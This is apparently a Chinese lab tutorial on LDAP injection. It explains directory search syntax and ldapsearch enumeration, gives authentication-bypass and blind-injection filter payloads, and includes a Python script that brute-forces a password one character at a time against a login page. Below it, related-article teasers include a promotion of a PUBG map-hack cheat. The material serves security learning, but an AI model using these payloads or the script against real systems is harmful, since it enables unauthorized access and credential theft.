LDAP Injection 📅 发布时间:2026/7/12 18:52:29 👁️ 浏览次数: 注意仅作学习之用尊法守法切勿违法操作。一、介绍LDAP轻量级目录访问协议能使组织能够集中管理用户以及组和其他目录信息这些信息常用于网络和内部应用中的身份验证和授权目的。数据呈树状结构读性能强。例如Microsoft Active Directory这是一项面向 Windows 域网络的服务利用 LDAP 作为其底层协议套件的一部分来管理域资源。OpenLDAPLDAP 的开源实现广泛用于管理用户信息并支持跨多个平台的认证机制。类似文件夹一层一层便于检索当企业中有不同部门、多种多台设备、大量用户时通过LDAP将其进行分组整理划分一层一层下来便可以将资源权限划分清楚。二、搜索查询通过LDAP搜索查询可以定位检索目录中存储的信息。1. 搜索查询的基本语法(base DN) (scope) (filter) (attributes)解释base DN: 目录树中搜索的起点Scope它定义了从base DN开始搜索的深度可以是base仅搜索 base 的 DN、one搜索基底 DN 的直接子节点、sub搜索基础 DN 及其所有后代。Filter过滤条件(、、|、等符号)。Attributes要返回的信息。((objectClassuser)(|(cnJohn*)(cnJane*)))对象类中被归类为“user”且以“John”或“Jane”开头*为通配符。三、攻击1.LDAP 服务就像企业内网里的 “中央通讯录”平时藏在内部一般不会直接暴露在公网上。但它确实有两个标准 “门”389 端口默认端口用于未加密连接或者先明文再升级到 TLSStartTLS。636 端口加密端口全程用 SSL/TLS 加密更安全。如果管理员配置不当把这两个端口直接暴露到公网任何人都能通过工具去 “敲门”。其中最常用的工具就是 OpenLDAP 里的ldapsearch。ldapsearch -x -H ldap://MACHINE_IP:389 -b dcldap,dcthm (ouPeople)对管理员来说可以批量查询用户、组、权限信息。方便做自动化运维和目录同步。对攻击者来说可以用来探测 LDAP 服务是否存在、版本是什么。一旦发现注入漏洞就能用它批量枚举用户、提取敏感属性甚至构造恶意查询。2.注入原理当用户输入在被纳入 LDAP 查询前未得到适当净化时就会发生LDAP注入。该过程类似SQL注入。攻击方向认证绕过、未授权数据访问、读写数据。攻击流程①攻击者提交恶意输入。usernamef*password*②Web应用未对输入进行过滤导致恶意查询被拼接发送。((uidf*)(userPassword*))③LDAP服务器执行并返回结果。应用直接信任并使用了用户提交的数据没有对*、(、)等特殊字符进行转义。3.LDAP的利用((uid{userInput})(userPassword{passwordInput})) //下述注入技术将会从该式展开永真式注入*)(|(拼接后((uid*)(|()(userPasswordpwd)))uid可以为所有用户|要么要么passwordpwd满足一个即可。万用式注入**可以匹配任意字符序列。Blind LDAP Injection这种情况下攻击者不会直接接收注入有效载荷的输出。相反他们必须根据应用程序的行为推断信息。这种攻击更具挑战性但仍可用于从 LDAP 目录中提取敏感信息。猜测用户名第一个字符为a((uida*)(|()(userPasswordpwd))) 通过穷举所有可能的字符字符集确定第一个字符之后 猜测用户名第二个字符为b((uidab*)(|()(userPasswordpwd))) ... ... 一个一个猜下去观察系统输出。对于输入有时需要进行URL等编码以绕过过滤。4.自动化自动化脚本可以根据实际情况做修改import requests from bs4 import BeautifulSoup import string import time # 1. 修改目标URL url http://TARGET_IP/ldap_login.php # 2. 调整字符集 char_set string.ascii_letters string.digits ._ successful_chars headers {Content-Type: application/x-www-form-urlencoded} while True: found False for char in char_set: # 3. 调整Payload根据靶场语法修改 data { username: fuser*)((password{successful_chars}{char}*)), password: test } try: # 4. 增加超时和延迟 response requests.post(url, datadata, headersheaders, timeout10) time.sleep(0.3) # 5. 修改响应判断逻辑示例页面包含“验证通过” if 验证通过 in response.text: successful_chars char print(f找到字符{char} | 当前已拼{successful_chars}) found True break except Exception as e: print(f请求出错{e}) continue if not found: break print(f最终爆破结果{successful_chars})
Step3-VL-10B-Base硬件入门:基于STM32F103C8T6的图像采集端设计 Step3-VL-10B-Base硬件入门:基于STM32F103C8T6的图像采集端设计 最近在捣鼓一些智能硬件项目,发现很多朋友对如何让一个小巧的单片机“看懂”世界很感兴趣。比如,能不能用一个几十块钱的开发板,加上一个摄像头,自己搭… 2026/7/12 18:49:46
三菱PLC与MCGS组态:热带鱼类人工养殖的“智慧大脑” No.913 三菱PLC和MCGS组态热带鱼类人工养殖的自动化控制系统在现代化养殖业中,自动化控制系统已经成为不可或缺的重要组成部分。特别是在热带鱼类人工养殖领域,如何实现精准控制水温、溶氧量、饲料投喂等关键参数,直接关系到养殖效率和经济效… 2026/7/6 22:26:27
IDEA2025 基于 Jakarta EE 开发 Servlet + Thymeleaf 一、前提准备确保 IDEA 已配置 JDK 17(Servlet 6.0 要求)。已配置 Tomcat 10(Jakarta EE 适配版本,Servlet 6.0 需 Tomcat 10.1)。项目依赖已正确引入(Thymeleaf 3.1.2 Servlet 6.0,参考之前的… 2026/5/17 9:21:13
Maestro:让移动UI测试从“写代码“到“写想法“的智能演进 Maestro:让移动UI测试从"写代码"到"写想法"的智能演进 【免费下载链接】maestro Painless E2E Automation for Mobile and Web 项目地址: https://gitcode.com/GitHub_Trending/ma/maestro 想象一下,你正在为一个新功能编写测… 2026/7/12 18:51:51
深度解析PPet:现代Electron桌面应用中的Live2D角色实现架构 深度解析PPet:现代Electron桌面应用中的Live2D角色实现架构 【免费下载链接】PPet 👻在你的桌面放一个萌妹子,多一点乐趣😏~(支持Mac、Win和Linux) 项目地址: https://gitcode.com/gh_mirrors/pp/PPet … 2026/7/12 18:51:51
【GEO知识46】为什么你的官网写得再好,AI还是宁可引用第三方? 概述很多老板跟我诉苦:官网文章是我熬夜写的,数据详实、逻辑通顺,可用户问AI"这个牌子靠不靠谱",AI张嘴就引了G2和知乎。冤不冤?其实一点都不冤。你以为AI在给你做"内容阅卷",它在做的… 2026/7/12 18:51:51
Altium Designer 封装库管理:3步创建与复用自定义元件(以按键/排针为例) Altium Designer封装库管理:构建可复用的元件资产库在硬件设计领域,效率往往取决于一个简单但常被忽视的环节——封装库管理。我曾见证过两种截然不同的工作模式:一位资深工程师能在30分钟内完成从原理图到PCB布局的初稿,而另一位… 2026/7/12 18:51:51
数据同步平台|AIIData数据中台实现MySQL、Hive、Kafka 一键接入Doris ►顶部微信名片可直接添加市场总监,商务咨询、方案沟通即时响应 ►点击链接了解详情,马上加入开源社区获取资源 https://docs.qq.com/doc/DVnhVemtBTHdDVHps 企业推进数字化转型过程中,普遍遭遇多源异构数据相互割裂形成数据孤岛、数据同步延… 2026/7/12 18:47:49
如何为PUBG地图黑客添加新功能:自定义扩展开发完整指南 如何为PUBG地图黑客添加新功能:自定义扩展开发完整指南 【免费下载链接】PUBG-map-hack Map hack solution for PUBG 项目地址: https://gitcode.com/gh_mirrors/pu/PUBG-map-hack PUBG-map-hack是一款针对《绝地求生》的地图黑客解决方案,允许开… 2026/7/12 18:45:49
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/12 0:03:14
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/12 0:03:14